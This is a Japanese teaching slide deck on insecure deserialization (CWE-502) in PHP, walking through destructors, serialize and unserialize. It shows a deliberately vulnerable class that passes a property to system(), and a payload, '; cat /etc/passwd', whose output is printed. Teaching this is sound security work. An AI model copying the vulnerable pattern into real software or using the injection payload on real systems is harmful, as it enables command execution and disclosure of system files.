---
title: introduction to unsafe deserialization part1
tags:  #security  
author: [徳丸 浩](https://convert.docswell.com/user/ockeghem)
site: [Docswell](https://www.docswell.com/)
thumbnail: https://bcdn.docswell.com/page/4LE3VMM9J5.jpg?width=480
description: 安全でないデシリアライゼーション入門基礎編です。PHPを前提として、クラスのコンストラクタ・デストラクタ、シリアライズ・デシリアライズから、脆弱なスクリプトと攻撃方法までを解説します
published: April 14, 20
canonical: https://convert.docswell.com/s/ockeghem/537EYZ-introduction-to-unsafe-deserialization-part1
---
# Page. 1

![Page Image](https://bcdn.docswell.com/page/4LE3VMM9J5.jpg)

安全でないデシリアライゼーション(CWE-502)入門
～基礎編～
EGセキュアソリューションズ株式会社
代表取締役 徳丸 浩


# Page. 2

![Page Image](https://bcdn.docswell.com/page/V8ED8668EG.jpg)

2


# Page. 3

![Page Image](https://bcdn.docswell.com/page/4V7P8YYW78.jpg)

OWASP Top 10 – 2017 の内容
項番 内容
A1
インジェクション
A2
A3
A4
A5
A6
認証の不備
機微な情報の露出
XML外部エンティティ参照（XXE）
アクセス制御の不備
不適切なセキュリティ設定
A7
クロスサイトスクリプティング（XSS）
A8
安全でないデシリアライゼーション
A9
既知の脆弱性のあるコンポーネントの使用
A10
不十分なロギングとモニタリング
New
3


# Page. 4

![Page Image](https://bcdn.docswell.com/page/L2JVNGG9EQ.jpg)

安全でないデシリアライゼーション(CWE-502)とは
• クッキー等からシリアライズデータを送り込み、任意のオブジェクトを
メモリ内に生成
• オブジェクトが破棄されるタイミングでデストラクタが実行される
• オブジェクトを巧妙に組み合わせることにより、攻撃を実行
© 2016-2020 Hiroshi Tokumaru
4


# Page. 5

![Page Image](https://bcdn.docswell.com/page/Z5EGK8847L.jpg)

PHPのコンストラクタ・デストラクタ超入門
© 2016-2020 Hiroshi Tokumaru
5


# Page. 6

![Page Image](https://bcdn.docswell.com/page/V4JQN99RJP.jpg)

クラス・コンストラクタ・デストラクタ
&lt;?php
class A {
public function __construct() {
echo &quot;** コンストラクタ実行\n&quot;;
}
public function __destruct() {
echo &quot;** デストラクタ実行\n&quot;;
}
// コンストラクタ
// コンストラクタはnewの際に呼ばれる
// デストラクタ
// デストラクタはオブジェクトが開放された
// 際に呼ばれる
}
echo &quot;** プログラム開始\n&quot;;
$a = new A();
echo &quot;** プログラム終了\n&quot;;
© 2016-2020 Hiroshi Tokumaru
6


# Page. 7

![Page Image](https://bcdn.docswell.com/page/DK74GXXQJ1.jpg)

クラス・コンストラクタ・デストラクタ
&lt;?php
class A {
public function __construct() {
echo &quot;** コンストラクタ実行\n&quot;;
オブジェクトが参
照されなくなると
デストラクタが実
行される
}
public function __destruct() {
echo &quot;** デストラクタ実行\n&quot;;
実行結果
}
}
echo &quot;** プログラム開始\n&quot;;
$a = new A();
echo &quot;** プログラム終了\n&quot;;
**
**
**
**
プログラム開始
コンストラクタ実行
プログラム終了
デストラクタ実行
© 2016-2020 Hiroshi Tokumaru
7


# Page. 8

![Page Image](https://bcdn.docswell.com/page/PLJ1DNNLEG.jpg)

シリアライズ入門
© 2016-2020 Hiroshi Tokumaru
8


# Page. 9

![Page Image](https://bcdn.docswell.com/page/8GJWY44Q72.jpg)

シリアライズとは?
• serializeは「一列にする」という意味
• シリアライズは、オブジェクトや配列など、構造を持ったデータを
「バイト列」に変換して、伝送や蓄積しやすい形式にすること
• デシリアライズは、シリアライズしたバイト列を元に戻すこと
© 2016-2020 Hiroshi Tokumaru
9


# Page. 10

![Page Image](https://bcdn.docswell.com/page/W4EZX22373.jpg)

以下のクラスをシリアライズしてみる
&lt;?php
class B {
public $name;
public function __construct($name) {
$this-&gt;name = $name;
}
public function __destruct() {
echo &quot;** {$this-&gt;name}は破棄されました\n&quot;;
}
}
$b = new B(&#039;hoge&#039;);
echo serialize($b), PHP_EOL;
// オブジェクトに名前をつける
// デストラクタを確認
実行結果
O:1:&quot;B&quot;:1:{s:4:&quot;name&quot;;s:4:&quot;hoge&quot;;}
** hogeは破棄されました
シリアライズ結果
© 2016-2020 Hiroshi Tokumaru
10


# Page. 11

![Page Image](https://bcdn.docswell.com/page/KY764VVZJV.jpg)

先の結果をデシリアライズする
&lt;?php
class B {
public $name;
public function __construct($name) {
$this-&gt;name = $name;
実行結果
}
public function __destruct() object(B)#1
{
echo &quot;** {$this-&gt;name}は破棄されました\n&quot;;
}
生成されたオブジェクト
(1) {
[&quot;name&quot;]=&gt;
string(4) &quot;hoge&quot;
}
}
$s = &#039;O:1:&quot;B&quot;:1:{s:4:&quot;name&quot;;s:4:&quot;hoge&quot;;}&#039;;
** hogeは破棄されました
var_dump(unserialize($s));
デストラクタが実行された
© 2016-2020 Hiroshi Tokumaru
11


# Page. 12

![Page Image](https://bcdn.docswell.com/page/5G75QDD9J4.jpg)

デシリアライズの問題点
• 振り返り
– シリアライズ: オブジェクトや配列などをバイト列に変換する
– デシリアライズ: シリアライズ結果から元の形式に戻すこと
• 外部から受け取ったバイト列をデシリアライズすると、任意のクラス
のオブジェクトが作れる
• ただし、クラスは既存のものに限る
• オブジェクトをデシリアライズすると、最終的にオブジェクトのデス
トラクタが呼ばれる
• デストラクタによって悪いことができる場合がある
• 攻撃にあたっては、既存のクラス定義の中で「どこまでできるか」が
問題になる
© 2016-2020 Hiroshi Tokumaru
12


# Page. 13

![Page Image](https://bcdn.docswell.com/page/V9J2P885JR.jpg)

脆弱なスクリプト例（極端な例…まずはシリアライズ側）
&lt;?php
class C { // 指定したメールアドレスにデストラクタでメール送信する
public $mail;
public function __construct($mail) {
実行結果
$this-&gt;mail = $mail;
O:1:&quot;C&quot;:1:{s:4:&quot;mail&quot;;s:16:
}
&quot;alice@example.jp&quot;;}
public function __destruct() {
system(&quot;/usr/sbin/sendmail {$this-&gt;mail} &lt; ./template.txt&quot;);
}
シリアライズ結果
}
$c = new C(&#039;alice@example.jp&#039;);
echo serialize($c), PHP_EOL;
© 2016-2020 Hiroshi Tokumaru
13


# Page. 14

![Page Image](https://bcdn.docswell.com/page/5DEY5666EM.jpg)

脆弱なスクリプト例（デシリアライズ側：正常系）
&lt;?php
実行結果
class C {
object(C)#1 (1) {
public $mail;
[&quot;mail&quot;]=&gt;
public function __construct($mail) {
string(16) &quot;alice@example.jp&quot;
}
$this-&gt;mail = $mail;
}
デシリアライズ結果
このメールアドレスにメール送信される
public function __destruct() {
system(&quot;/usr/sbin/sendmail {$this-&gt;mail} &lt; ./template.txt&quot;);
}
}
// $s は実際には外部からの文字列
$s = &#039;O:1:&quot;C&quot;:1:{s:4:&quot;mail&quot;;s:16:&quot;alice@example.jp&quot;;}&#039;;
var_dump(unserialize($s));
© 2016-2020 Hiroshi Tokumaru
14


# Page. 15

![Page Image](https://bcdn.docswell.com/page/2VJN4111E8.jpg)

脆弱なスクリプト例（デシリアライズ側： 攻撃例）
&lt;?php
実行結果
class C {
object(C)#1 (1) {
public $mail;
[&quot;mail&quot;]=&gt;
public function __construct($mail) {
string(17) &quot;; cat /etc/passwd&quot;
}
$this-&gt;mail = $mail;
}
デシリアライズ結果。この結果が下記
が実行される
public function __destruct() {
system(&quot;/usr/sbin/sendmail {$this-&gt;mail} &lt; ./template.txt&quot;);
system(&quot;/usr/sbin/sendmail ; cat /etc/passwd &lt; ./template.txt
}
}
// $s は実際には外部からの文字列
$s = &#039;O:1:&quot;C&quot;:1:{s:4:&quot;mail&quot;;s:17:&quot;; cat /etc/passwd&quot;;}&#039;;
var_dump(unserialize($s));
© 2016-2020 Hiroshi Tokumaru
15


# Page. 16

![Page Image](https://bcdn.docswell.com/page/GYE9Q55YE3.jpg)

/etc/passwd が表示された
object(C)#1 (1) {
[&quot;mail&quot;]=&gt;
string(17) &quot;; cat /etc/passwd&quot;
}
sendmail: fatal: ockeghem(1000): Recipient addresses must be
specified on the command line or via the -t option
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
# 以下略
© 2016-2020 Hiroshi Tokumaru
16


# Page. 17

![Page Image](https://bcdn.docswell.com/page/5GE8GYYKED.jpg)

安全でないデシリアライゼーション(CWE-502)とは（再掲）
• クッキー等からシリアライズデータを送り込み、任意のオブジェクトを
メモリ内に生成
• オブジェクトが破棄されるタイミングでデストラクタが実行される
• オブジェクトを巧妙に組み合わせることにより、攻撃を実行
© 2016-2020 Hiroshi Tokumaru
17


# Page. 18

![Page Image](https://bcdn.docswell.com/page/MLELG44P7R.jpg)

次のステップに向けて
• 安全でないデシリアライゼーションの攻撃方法をわかりやすい例で説
明しました
• わかりやすい代わりに、ちょっと「わざとらしい」ですね!
わざとらしくない例は次回説明する予定です
• チャンネル登録してお待ち下さい (_ _)
徳丸浩のウェブセキュリティ講座
https://j.mp/web-sec-study
© 2016-2020 Hiroshi Tokumaru
18


# Page. 19

![Page Image](https://bcdn.docswell.com/page/54JMQKK2EW.jpg)

徳丸浩へのお仕事の依頼は
EGセキュアソリューションズ株式会社まで
https://www.eg-secure.co.jp/
チャンネル登録お願いします
徳丸浩のウェブセキュリティ講座
https://j.mp/web-sec-study
© 2020 Hiroshi Tokumaru
19


